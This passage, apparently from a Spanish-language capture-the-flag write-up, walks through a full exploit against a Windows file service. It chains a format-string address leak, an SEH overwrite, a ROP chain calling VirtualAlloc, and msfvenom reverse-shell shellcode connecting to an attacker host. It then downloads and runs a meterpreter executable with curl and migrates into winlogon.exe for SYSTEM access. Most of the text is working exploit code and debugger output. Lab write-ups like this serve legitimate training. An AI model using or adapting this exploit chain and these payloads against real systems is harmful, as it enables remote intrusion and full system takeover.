rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
# $edx = 0x1000
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b)            # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;  
rop += p32(0x41414141)            # padding for pop
# $ebx = 0x1
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff)            # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
# $ebp = pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
# $esi = jmp eax
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# $eax = VirtualAlloc()
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0)            # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
# $edi = ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
# call VirtualAlloc()
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;

shellcode  = b""
shellcode += b"C" * 100

offset = 1032
junk = b"A" * (offset - len(rop + shellcode))

nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;

payload  = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

Para ver que funcione podemos establecer un breakpoint en VirtualAlloc, cuando llega ahi podemos comprobar que los parametros esten establecidos correctamente

0:000> bp kernel32!VirtualAllocStub  

0:000> dds esp + 4 L4
0194f700  0194f714
0194f704  00000001
0194f708  00001000
0194f70c  00000040

Luego de ejecutar la función si volvemos a ver la protección del stack en lugar de 0x4 ahora tenemos el valor 0x40 que es equivalente al valor de PAGE_EXECUTE_READWRITE

0:000> pt
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010  
eip=75f1274c esp=0194f6fc ebp=3f29100f iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
KERNELBASE!VirtualAlloc+0x4c:
75f1274c c21000          ret     10h

0:000> !vprot esp
BaseAddress:       0194f000
AllocationBase:    01850000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000040  PAGE_EXECUTE_READWRITE
Type:              00020000  MEM_PRIVATE

Si continuamos la ejecución llegaremos al jmp esp que ejecutará nuestras C's

0:000> pt
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010  
eip=3f291010 esp=0194f714 ebp=756c6250 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
filesrv+0x1010:
3f291010 c3              ret

0:000> p
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010  
eip=3f2a1394 esp=0194f718 ebp=756c6250 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
filesrv+0x11394:
3f2a1394 ffe4            jmp     esp {0194f718}

0:000> db esp
0194f718  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f728  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f738  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f748  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f758  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f768  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f778  43 43 43 43 41 41 41 41-41 41 41 41 41 41 41 41  CCCCAAAAAAAAAAAA
0194f788  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Ya que podemos ejecutar un shellcode con este exploit solo nos queda generar un nuevo shellcode usando msfvenom que envie una reverse shell por el puerto 443

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.0.100 LPORT=443 -b '\x00\x09\x0a\x0b\x0c\x0d\x20\x25' -f python -v shellcode -e x86/shikata_ga_nai -n 16  
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Successfully added NOP sled of size 16 from x86/single_byte
Payload size: 367 bytes
Final size of python file: 2063 bytes
shellcode =  b""
shellcode += b"\x91\x41\x49\x91\x92\x37\x90\xf5\xf9\x49\x48"
shellcode += b"\xd6\x93\x91\x4a\xf8\xdb\xc5\xd9\x74\x24\xf4"
shellcode += b"\x58\xbb\xf3\x01\xbe\xec\x31\xc9\xb1\x52\x83"
shellcode += b"\xc0\x04\x31\x58\x13\x03\xab\x12\x5c\x19\xb7"
shellcode += b"\xfd\x22\xe2\x47\xfe\x42\x6a\xa2\xcf\x42\x08"
shellcode += b"\xa7\x60\x73\x5a\xe5\x8c\xf8\x0e\x1d\x06\x8c"
shellcode += b"\x86\x12\xaf\x3b\xf1\x1d\x30\x17\xc1\x3c\xb2"
shellcode += b"\x6a\x16\x9e\x8b\xa4\x6b\xdf\xcc\xd9\x86\x8d"
shellcode += b"\x85\x96\x35\x21\xa1\xe3\x85\xca\xf9\xe2\x8d"
shellcode += b"\x2f\x49\x04\xbf\xfe\xc1\x5f\x1f\x01\x05\xd4"
shellcode += b"\x16\x19\x4a\xd1\xe1\x92\xb8\xad\xf3\x72\xf1"
shellcode += b"\x4e\x5f\xbb\x3d\xbd\xa1\xfc\xfa\x5e\xd4\xf4"
shellcode += b"\xf8\xe3\xef\xc3\x83\x3f\x65\xd7\x24\xcb\xdd"
shellcode += b"\x33\xd4\x18\xbb\xb0\xda\xd5\xcf\x9e\xfe\xe8"
shellcode += b"\x1c\x95\xfb\x61\xa3\x79\x8a\x32\x80\x5d\xd6"
shellcode += b"\xe1\xa9\xc4\xb2\x44\xd5\x16\x1d\x38\x73\x5d"
shellcode += b"\xb0\x2d\x0e\x3c\xdd\x82\x23\xbe\x1d\x8d\x34"
shellcode += b"\xcd\x2f\x12\xef\x59\x1c\xdb\x29\x9e\x63\xf6"
shellcode += b"\x8e\x30\x9a\xf9\xee\x19\x59\xad\xbe\x31\x48"
shellcode += b"\xce\x54\xc1\x75\x1b\xfa\x91\xd9\xf4\xbb\x41"
shellcode += b"\x9a\xa4\x53\x8b\x15\x9a\x44\xb4\xff\xb3\xef"
shellcode += b"\x4f\x68\xb6\xe7\x4f\x62\xae\xf5\x4f\x73\x95"
shellcode += b"\x73\xa9\x19\xf9\xd5\x62\xb6\x60\x7c\xf8\x27"
shellcode += b"\x6c\xaa\x85\x68\xe6\x59\x7a\x26\x0f\x17\x68"
shellcode += b"\xdf\xff\x62\xd2\x76\xff\x58\x7a\x14\x92\x06"
shellcode += b"\x7a\x53\x8f\x90\x2d\x34\x61\xe9\xbb\xa8\xd8"
shellcode += b"\x43\xd9\x30\xbc\xac\x59\xef\x7d\x32\x60\x62"
shellcode += b"\x39\x10\x72\xba\xc2\x1c\x26\x12\x95\xca\x90"
shellcode += b"\xd4\x4f\xbd\x4a\x8f\x3c\x17\x1a\x56\x0f\xa8"
shellcode += b"\x5c\x57\x5a\x5e\x80\xe6\x33\x27\xbf\xc7\xd3"
shellcode += b"\xaf\xb8\x35\x44\x4f\x13\xfe\x74\x1a\x39\x57"
shellcode += b"\x1d\xc3\xa8\xe5\x40\xf4\x07\x29\x7d\x77\xad"
shellcode += b"\xd2\x7a\x67\xc4\xd7\xc7\x2f\x35\xaa\x58\xda"
shellcode += b"\x39\x19\x58\xcf"

Nuestro exploit final inicia sobrescribiendo el controlador SEH con un stack pivot que retorna a un ropchain el cual llama a VirtualAlloc para cambiar los privilegios del stack, una vez ye es ejecutable salta al shellcode y ejecuta la reverse shell

#!/usr/bin/python3
from pwn import remote, p32

shell = remote("10.10.122.10", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120

rop  = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab)            # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b)            # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;  
rop += p32(0x41414141)            # padding for pop
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff)            # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0)            # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;

shellcode =  b""
shellcode += b"\x91\x41\x49\x91\x92\x37\x90\xf5\xf9\x49\x48"
shellcode += b"\xd6\x93\x91\x4a\xf8\xdb\xc5\xd9\x74\x24\xf4"
shellcode += b"\x58\xbb\xf3\x01\xbe\xec\x31\xc9\xb1\x52\x83"
shellcode += b"\xc0\x04\x31\x58\x13\x03\xab\x12\x5c\x19\xb7"
shellcode += b"\xfd\x22\xe2\x47\xfe\x42\x6a\xa2\xcf\x42\x08"
shellcode += b"\xa7\x60\x73\x5a\xe5\x8c\xf8\x0e\x1d\x06\x8c"
shellcode += b"\x86\x12\xaf\x3b\xf1\x1d\x30\x17\xc1\x3c\xb2"
shellcode += b"\x6a\x16\x9e\x8b\xa4\x6b\xdf\xcc\xd9\x86\x8d"
shellcode += b"\x85\x96\x35\x21\xa1\xe3\x85\xca\xf9\xe2\x8d"
shellcode += b"\x2f\x49\x04\xbf\xfe\xc1\x5f\x1f\x01\x05\xd4"
shellcode += b"\x16\x19\x4a\xd1\xe1\x92\xb8\xad\xf3\x72\xf1"
shellcode += b"\x4e\x5f\xbb\x3d\xbd\xa1\xfc\xfa\x5e\xd4\xf4"
shellcode += b"\xf8\xe3\xef\xc3\x83\x3f\x65\xd7\x24\xcb\xdd"
shellcode += b"\x33\xd4\x18\xbb\xb0\xda\xd5\xcf\x9e\xfe\xe8"
shellcode += b"\x1c\x95\xfb\x61\xa3\x79\x8a\x32\x80\x5d\xd6"
shellcode += b"\xe1\xa9\xc4\xb2\x44\xd5\x16\x1d\x38\x73\x5d"
shellcode += b"\xb0\x2d\x0e\x3c\xdd\x82\x23\xbe\x1d\x8d\x34"
shellcode += b"\xcd\x2f\x12\xef\x59\x1c\xdb\x29\x9e\x63\xf6"
shellcode += b"\x8e\x30\x9a\xf9\xee\x19\x59\xad\xbe\x31\x48"
shellcode += b"\xce\x54\xc1\x75\x1b\xfa\x91\xd9\xf4\xbb\x41"
shellcode += b"\x9a\xa4\x53\x8b\x15\x9a\x44\xb4\xff\xb3\xef"
shellcode += b"\x4f\x68\xb6\xe7\x4f\x62\xae\xf5\x4f\x73\x95"
shellcode += b"\x73\xa9\x19\xf9\xd5\x62\xb6\x60\x7c\xf8\x27"
shellcode += b"\x6c\xaa\x85\x68\xe6\x59\x7a\x26\x0f\x17\x68"
shellcode += b"\xdf\xff\x62\xd2\x76\xff\x58\x7a\x14\x92\x06"
shellcode += b"\x7a\x53\x8f\x90\x2d\x34\x61\xe9\xbb\xa8\xd8"
shellcode += b"\x43\xd9\x30\xbc\xac\x59\xef\x7d\x32\x60\x62"
shellcode += b"\x39\x10\x72\xba\xc2\x1c\x26\x12\x95\xca\x90"
shellcode += b"\xd4\x4f\xbd\x4a\x8f\x3c\x17\x1a\x56\x0f\xa8"
shellcode += b"\x5c\x57\x5a\x5e\x80\xe6\x33\x27\xbf\xc7\xd3"
shellcode += b"\xaf\xb8\x35\x44\x4f\x13\xfe\x74\x1a\x39\x57"
shellcode += b"\x1d\xc3\xa8\xe5\x40\xf4\x07\x29\x7d\x77\xad"
shellcode += b"\xd2\x7a\x67\xc4\xd7\xc7\x2f\x35\xaa\x58\xda"
shellcode += b"\x39\x19\x58\xcf"

offset = 1032
junk = b"A" * (offset - len(rop + shellcode))

nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;

payload  = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell

❯ python3 exploit.py
[+] Opening connection to 10.10.122.10 on port 2121: Done  
[*] Switching to interactive mode
$

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.122.10 50536
Microsoft Windows [Versión 10.0.20348.709]
(c) Microsoft Corporation. All rights reserved.  

C:\shared> whoami
rainbow2\dev
C:\shared>


Shell - system


Al listar los privilegios del usuario podemos ver que tiene SeDebugPrivilege, este privilegio nos permite sincronizarnos con cualquier proceso de cualquier usuario

C:\shared> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========  
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

C:\shared>

La forma mas sencilla de explotarlo es utilizando un c2, asi que iniciamos definiendo un listener en msfconsole y creando un payload dentro de un .exe con msfvenom

❯ sudo msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lport 4444
lport => 4444
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.8.0.100:4444

❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.8.0.100 LPORT=4444 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Al descargarlo y ejecutarlo nos llega una sesión de meterpreter como el usuario dev

C:\ProgramData> curl 10.8.0.100/shell.exe -o shell.exe  

C:\ProgramData> shell.exe

C:\ProgramData>

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.8.0.100:4444
[*] Sending stage (176198 bytes) to 10.10.122.10
[*] Meterpreter session 1 opened (10.8.0.100:4444 -> 10.10.122.10:50647)  

(Meterpreter 1)(C:\shared) > getuid
Server username: RAINBOW2\dev
(Meterpreter 1)(C:\shared) >

Ahora para explotar el privilegio SeDebugPrivilege podemos simplemente migrar a un proceso con altos privilegios como el winlogon.exe, luego de migrar nos convertimos en el usuario que corre ese proceso, en este caso es el usuario nt authority\system

(Meterpreter 1)(C:\shared) > migrate -N winlogon.exe  
[*] Migrating from 2316 to 704...
[*] Migration completed successfully.
(Meterpreter 1)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
(Meterpreter 1)(C:\Windows\system32) >